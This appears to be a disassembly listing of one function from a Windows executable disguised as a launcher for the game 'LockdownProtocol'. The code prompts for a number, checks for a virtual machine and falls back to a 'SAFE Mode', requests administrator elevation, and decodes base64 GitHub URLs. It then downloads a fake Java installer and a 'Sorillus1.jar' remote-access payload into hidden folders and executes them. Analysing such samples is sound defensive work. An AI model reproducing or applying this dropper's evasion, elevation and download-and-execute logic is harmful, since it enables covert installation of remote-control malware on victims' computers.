Function at 0x140004940
Capabilities:
Create process on windows
Get common file path
Get program files directory
Get token membership
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2c8]
sub rsp, 0x3a0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400a1840]
xor rax, rsp
mov qword [rbp + 0x280], rax
xor esi, esi
mov dword [rbp + 0x70], esi
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1400a2650], eax
jle 0x1400049c8
lea rcx, [0x1400a2650]
call fcn.14007b608
cmp dword [0x1400a2650], 0xffffffff
jne 0x1400049c8
call fcn.140007610
mov byte [0x1400a2654], al
lea rcx, [0x1400a2650]
call fcn.14007b59c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
mov eax, 0x7482296b
imul ebx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2328
sub ebx, ecx
add ebx, 0x3e8
lea rdx, str.Enter_the_following_numbers_to_start_the_process:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xa0], esi
test ebx, ebx
je 0x140004a9a
nop word [rax + rax]
lea rdx, str.Please_enter_the_correct_number:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0xa0], ebx
je 0x140004a9a
lea rdx, str.Incorrect_number._Please_try_again.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rbp + 0xa0], ebx
jne 0x140004a40
lea rdx, str.Correct_number_entered__Starting_the_process...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x1400a2654], 0
je 0x140004bfd
lea rdx, str.A_Virtual_Machine_has_been_detected._The_program_will_run_in_SAFE_Mode._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x80], 5
lea rcx, [rbp + 0x80]
call fcn.140005e60
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
mov r8d, 0x43
lea rdx, str.LockdownProtocolBinariesWin64LockdownProtocol_Win64_Shipping.exe
lea rcx, [rbp + 0xb0]
call fcn.1400030e0
xorps xmm6, xmm6
xor eax, eax
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8d, 0x104
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova r8, qword [rbp + 0xb0]
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140004bfd
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
mov dword [rbp + 0x70], esi
mov qword [rbp + 0x80], rsi
mov dword [rbp + 0xa8], 0
mov word [rbp + 0xac], 0x500
lea rax, [rbp + 0x80]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140004c7d
lea r8, [rbp + 0x70]
mov rdx, qword [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x70], 0
jne 0x140004d27
mov r8d, 0x104
lea rdx, [rbp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [rbp], reloc.WS2_32.dll_WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
mov qword [rbp + 0x64], rax
mov dword [rbp + 0x6c], eax
lea rax, str.runas
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x170]
mov qword [rbp + 0x18], rax
mov qword [rbp + 8], rsi
mov dword [rbp + 0x30], 1
lea rcx, [rbp]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140004d1e
lea rdx, str.The_user_refused_the_elevation.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002be0
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005a53
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [0x1400a2654], 0
jne 0x140005a53
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 0x60
lea rdx, str.aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01yWC1oYXNoODk5L1gvbWFpbi9KYXZhU2V0dXA4dTQyMS5leGU
lea rcx, [rbp - 0x80]
call fcn.1400030e0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x150]
call fcn.1400069b0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140004da6
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004da1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059ec
call fcn.14007b52c
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov r8d, 0x58
lea rdx, str.aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01yWC1oYXNoODk5L1gvbWFpbi9Tb3JpbGx1czEuamFy
lea rcx, [rbp - 0x80]
call fcn.1400030e0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x130]
call fcn.1400069b0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140004e18
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005987
call fcn.14007b52c
mov ebx, esi
or ebx, 0x10
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rdi, 0xffffffffffffffff
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
test eax, eax
js 0x140004e75
lea rax, [rbp + 0x170]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140004e62
lea rdx, [rbp + 0x170]
jmp 0x140004e7f
xor r8d, r8d
lea rdx, [0x140093078]
lea rcx, [rsp + 0x60]
call fcn.1400030e0
nop
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.WindowsLogsLogs_
lea rcx, [rsp + 0x60]
call fcn.140005c80
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or ebx, 0x20
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004f20
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
lea rax, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rax, qword [rbp + 0xd0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x88], rax
call fcn.14007af78
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.1400038f0
or ebx, 0xc0
mov qword [rbp + 0x80], rsi
lea rax, [0x1400a18e8]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140004650
cmp dword [rbp + 0x80], 0
jne 0x140005a96
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140005000
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ffb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ffb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
mov r15, qword [rbp + 0xe0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xd
jb 0x140005a8a
lea r13, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r13, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea r12, [r15 + 0xd]
mov esi, reloc.WS2_32.dll_ntohs
lea r14, [rbp + 0xb0]
cmp r12, rsi
jbe 0x1400050df
mov rsi, r12
or rsi, 0xf
cmp rsi, rcx
jbe 0x14000509e
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14007b4f0
test rax, rax
je 0x14000592c
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400050d8
mov eax, socket
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x1400050b8
xor r14d, r14d
jmp 0x1400050d8
cmp rcx, 0x1000
jb 0x1400050d0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005a90
jmp 0x14000507f
call fcn.14007b4f0
mov r14, rax
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], rsi
mov r8, r15
mov rdx, r13
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.logs.json.jar]
movsd qword [r14 + r15], xmm0
mov eax, dword [0x140093310]
mov dword [r14 + r15 + 8], eax
movzx eax, byte [0x140093314]
mov byte [r14 + r15 + 0xc], al
mov byte [r14 + r12], 0
bts ebx, 8
bts ebx, 9
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x26
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
test eax, eax
js 0x140005183
lea rax, [rbp + 0x170]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005170
lea rdx, [rbp + 0x170]
jmp 0x14000518d
xor r8d, r8d
lea rdx, [0x140093078]
lea rcx, [rsp + 0x60]
call fcn.1400030e0
nop
mov r8d, 5
lea rdx, str.Java
lea rcx, [rsp + 0x60]
call fcn.140005c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xor esi, esi
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
bts ebx, 0xa
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140005231
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000522c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000522c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
bts ebx, 0xb
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x60], xmm0
movdqu xmmword [rbp - 0x50], xmm1
test eax, eax
js 0x140005296
lea rax, [rbp + 0x170]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140005281
mov r8, rdi
lea rdx, [rbp + 0x170]
jmp 0x1400052a0
xor r8d, r8d
lea rdx, [0x140093078]
lea rcx, [rbp - 0x60]
call fcn.1400030e0
nop
mov r8d, 5
lea rdx, str.Java
lea rcx, [rbp - 0x60]
call fcn.140005c80
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0xc
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000533e
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005339
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
lea rax, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rax, qword [rbp + 0x110]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x88], rax
call fcn.14007af78
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.1400038f0
or ebx, 0x6000
or ebx, 1
mov dword [rbp + 0x70], ebx
lea rcx, [rbp - 0x20]
call fcn.140004470
test al, al
jne 0x14000550a
lea rax, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rax, qword [rbp + 0x110]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x88], rax
call fcn.14007af78
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.1400038f0
or ebx, 0x18000
or ebx, 2
mov dword [rbp + 0x70], ebx
lea rcx, [rbp - 0x80]
call fcn.140004580
test al, al
jne 0x14000550a
lea rax, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rax, qword [rbp + 0xf0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x88], rax
call fcn.14007af78
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.1400038f0
or ebx, 0x60000
or ebx, 4
mov dword [rbp + 0x70], ebx
lea rcx, [rbp - 0x40]
call fcn.140004470
test al, al
jne 0x14000550a
lea rax, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rax, qword [rbp + 0xf0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x88], rax
call fcn.14007af78
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.1400038f0
or ebx, 0x180000
or ebx, 8
mov dword [rbp + 0x70], ebx
lea rcx, [rsp + 0x60]
call fcn.140004580
test al, al
jne 0x14000550a
mov dil, 1
jmp 0x14000550d
xor dil, dil
movdqa xmm6, xmmword [0x140094710]
test bl, 8
je 0x14000556d
and ebx, 0xfffffff7
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140005562
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000555d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000555d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqu xmmword [rsp + 0x70], xmm6
mov word [rsp + 0x60], si
test bl, 4
je 0x1400055c9
and ebx, 0xfffffffb
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400055c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm6, xmmword [0x140094710]
movdqu xmmword [rbp - 0x30], xmm6
mov word [rbp - 0x40], si
test bl, 2
je 0x140005625
and ebx, 0xfffffffd
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000561c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000560f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000560f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm6, xmmword [0x140094710]
movdqu xmmword [rbp - 0x70], xmm6
mov word [rbp - 0x80], si
test bl, 1
je 0x14000566d
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000566d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005668
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005668
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
test dil, dil
je 0x1400056ac
lea rax, [rbp - 0x20]
mov qword [rbp + 0x80], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x20]
call fcn.140005b60
mov rbx, rax
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x80]
call fcn.140005b60
nop
mov r8, rbx
mov rdx, rax
call fcn.140001300
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x130]
call fcn.140001690
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm6, xmm6
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8d, 0x104
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova r8, qword [rbp + 0xb0]
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0x43
lea rdx, str.LockdownProtocolBinariesWin64LockdownProtocol_Win64_Shipping.exe
lea rcx, [rsp + 0x60]
call fcn.1400030e0
xorps xmm6, xmm6
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8d, 0x104
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000583a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005834
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005834
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x14000587e
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005879
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1400058db
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140005938
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005933
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14000599b
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000598e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000598e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007b52c
movdqa xmm0, xmmword [0x140094720]
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140005a00
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059f3
